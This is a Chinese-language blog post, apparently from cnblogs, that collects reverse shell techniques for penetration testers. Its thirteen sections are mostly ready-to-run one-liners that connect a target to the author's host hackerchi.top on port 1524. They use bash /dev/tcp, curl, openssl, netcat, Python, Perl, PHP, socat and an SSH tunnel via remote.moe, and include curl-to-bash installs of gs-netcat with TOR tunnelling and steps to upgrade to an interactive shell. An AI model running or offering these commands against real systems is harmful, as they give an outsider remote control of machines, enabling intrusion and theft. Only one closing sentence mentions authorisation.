❝
本指南提供了多种方法来建立反向Shell，包括使用加密和明文方式，适用于不同的场景和需求。通过这些技术，安全专家和合法授权的渗透测试者可以有效地控制远程系统，进行安全测试和漏洞评估。
gs-netcat 提供加密的反向Shell，支持文件传输和管理员登录警报。
Bash 和 cURL 方法允许通过简单的命令行工具建立连接。OpenSSL 和 remote.moe 提供了加密通道，增强了数据传输的安全性。
对于特殊环境，如不支持/dev/tcp或没有Bash的系统，可以使用 Python、PHP、Perl 或 netcat 来建立反向Shell。
为了提升交互体验，介绍了如何将反向Shell升级为PTY Shell和完全交互式Shell，使得使用者能够执行更复杂的命令和程序。
socat 提供了一种高级的反向Shell建立方式，支持完全交互式体验。
❞
1、使用 gs-netcat 进行反向 shell（加密）
gs-netcat 提供一个加密的反向 shell，允许在 NAT 后面的系统之间建立连接，并通过中继网络路由流量。
它支持文件上传/下载以及管理员登录时的警报功能。
部署命令：
X=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"
或者
X=hackerchiSecretChangeMe bash -c "$(wget --no-verbose -O- <https://gsocket.io/y>)"
连接到 shell：
S=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"
或者
gs-netcat -s hackerchiSecretChangeMe -i
添加 -T 参数可以通过 TOR 网络进行隧道传输。
2、 使用 Bash 进行反向 shell
侦听命令：
nc -nvlp 1524
或使用 pwncat：
pwncat -lp 1524
在远程系统上执行：
(bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &
或者，如果当前 shell 不是 Bash：
bash -c '(exec bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &'
3、 使用 cURL 进行反向 shell（加密）
在工作站上生成 SSL 密钥并启动监听服务器：
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
在目标系统上执行：
curl -skfL <https://hackerchi.top:8080> | bash
4、 使用 cURL 进行反向 shell（明文）
启动监听：
ncat -kltv 1524
在目标系统上执行：
C="curl -Ns telnet://hackerchi.top:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5、 使用 OpenSSL 进行反向 shell（加密）
在工作站上生成 SSL 密钥并启动监听服务器：
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
openssl s_server -port 1524 -cert cert.pem -key key.pem
在目标系统上启动 OpenSSL 反向 shell：
({ openssl s_client -connect hackerchi.top:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
6、 不带 /dev/tcp 的反向 shell
对于不支持 /dev/tcp 或者没有 Bash 的嵌入式系统，可以使用其他语言（Python、PHP、Perl 等）或上传 netcat 来建立反向 shell。
使用 netcat：或者，如果 e 不支持：
nc -e /bin/sh -vn hackerchi.top 1524
{ nc -vn hackerchi.top 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
7、 使用 remote.moe 和 ssh 进行反向 shell（加密）
通过 remote.moe 隧道传输原始 TCP 数据，可以建立加密的反向 shell。
- 在工作站上创建隧道：
ssh-keygen -q -t rsa -N "" -f .r
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no nokey@remote.moe; rm -f .r
注意记录下 remote.moe 地址，看起来像是 uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe。
- 在第二个终端开始监听反向 shell：
nc -vnlp 8080
- 在目标系统上执行：
bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
8、 使用 Python 进行反向 shell
执行命令：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("hackerchi.top",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
9、 使用 Perl 进行反向 shell
- 方法1：
perl -e 'use Socket;$i="hackerchi.top";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 方法2：
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"hackerchi.top:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
10、 使用 PHP 进行反向 shell
执行命令：
php -r '$sock=fsockopen("hackerchi.top",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
11、 将反向 shell 升级为 PTY shell
为了使某些命令（如 sudo bash 或 top）正常工作，我们需要将 shell 升级为真正的 PTY shell。
使用 script：
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
使用 python：
exec python -c 'import pty; pty.spawn("/bin/bash")'
12、 将反向 shell 升级为完全交互式 shell
为了能够使用 Ctrl-C 等控制字符，我们需要将反向 shell 升级为完全交互式 shell。
在目标主机上获取 PTY：
python -c 'import pty; pty.spawn("/bin/bash")'
然后按 Ctrl-Z 暂停连接并返回到自己的终端。
在您的终端上执行：
stty raw -echo opost; fg
在目标主机上配置环境：
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '{ printf "rows "$3" cols"$2; }')
并优化您的提示符：
PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
13、 使用 socat 进行反向 shell（完全交互）
socat 是一个多功能的网络工具，可以用来创建更加复杂的反向 shell，提供完全交互式的体验。
在攻击者的主机上（监听器）：
socat file:`tty`,raw,echo=0 tcp-listen:1524
在目标主机上（反向 shell）：
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:hackerchi.top:1524
通过这些方法，无论是通过简单的 Bash 脚本还是利用更高级的工具如 socat，都可以实现反向 shell 的建立，从而为渗透测试者、安全研究员或者是合法授权的黑客提供了强大的远程控制能力。记得在进行这些操作时，确保你有明确的授权，以避免违法行为。
标签：shell,top,1524,hackerchi,Shell,反向,集合,bash From： https://www.cnblogs.com/o-O-oO/p/18338669原创 黑客驰